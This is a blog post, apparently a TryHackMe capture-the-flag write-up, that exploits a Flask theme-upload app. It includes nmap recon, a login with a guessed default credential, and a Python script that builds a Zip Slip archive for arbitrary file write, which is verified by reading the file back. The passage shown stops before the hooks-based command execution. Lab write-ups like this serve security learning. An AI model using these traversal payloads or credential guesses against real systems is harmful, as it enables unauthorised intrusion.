DEV Community

Cover image for TryHackMe : The Hollow Shell
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe : The Hollow Shell

Overview

The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an
authenticated concierge upload themed "shells" as .zip archives. Each
archive must contain a shell.json manifest, and optionally an assets
list plus an undocumented hooks field described only as "automation
hooks" applied by a background "theme worker." The archive is extracted
server-side with no path sanitization, giving arbitrary file write via
Zip Slip. Combined with the hooks field being executed as a shell command
by the worker process, this chains into full RCE as the roomservice
user.

Recon

nmap -A -Pn 10.48.182.209

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login
Enter fullscreen mode Exit fullscreen mode

Gunicorn on 5000 redirecting to /login - a Flask app behind a WSGI
server. SSH open but no creds yet, so 5000 is the way in.

Authentication

Default/guessed creds worked on /login:

curl -c cookies.txt http://10.48.182.209:5000/login -d 'username=concierge&password=StayNoticed2024!'
Enter fullscreen mode Exit fullscreen mode

Session cookie in hand, /dashboard rendered the upload panel:

Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).

A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
Enter fullscreen mode Exit fullscreen mode

Two things stood out immediately: a required manifest filename
(shell.json) and an unexplained hooks mechanism processed by a
separate worker.

Mapping the upload flow

First upload attempt used a wrongly-named manifest (test.json) and
silently failed to register - the app requires the exact filename
shell.json at the zip root:

printf '{"name":"test", "assets":[]}' > shell.json
zip test.zip shell.json
curl -b cookies.txt -F "shell=@test.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/dashboard
Enter fullscreen mode Exit fullscreen mode
<li>
  <span class="name">test</span>
  <span class="id">shells/8d23a80c3894/</span>
</li>
Enter fullscreen mode Exit fullscreen mode

The id field is a directory path. Files inside it are served by exact
filename (no directory index):

curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}
Enter fullscreen mode Exit fullscreen mode

Zip Slip - confirming arbitrary write

Extraction uses each zip member's raw path with no os.path.basename()
or normalization. A relative traversal entry alongside a valid
shell.json (so the archive still registers) proved this:

import zipfile
with zipfile.ZipFile('evil8.zip', 'w') as z:
    z.writestr('shell.json', '{"name":"slip7","assets":[]}')
    z.writestr('../../static/poc.txt', 'PWNED_STATIC')
Enter fullscreen mode Exit fullscreen mode
curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC
Enter fullscreen mode Exit fullscreen mode

This confirmed:

  • shells/<id>/ sits two directory levels below the app root
  • No sanitization on extraction - a raw zipfile.extractall()-style write, or manual path join with no traversal check
  • ../../static/ lands in the real Flask static/ directory, which is directly web-servable - giving an easy read-back oracle for further tests

(Absolute paths and multi-level ....// traversal were also tried
before this and consistently 404'd - the ../../ relative form was
what worked here.)